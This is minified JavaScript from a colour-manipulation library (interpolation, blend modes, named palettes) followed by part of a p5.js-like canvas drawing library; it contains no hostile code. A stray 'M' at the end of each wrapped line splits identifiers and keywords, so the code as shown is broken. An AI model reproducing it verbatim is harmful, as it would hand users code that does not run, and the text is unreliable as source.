.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
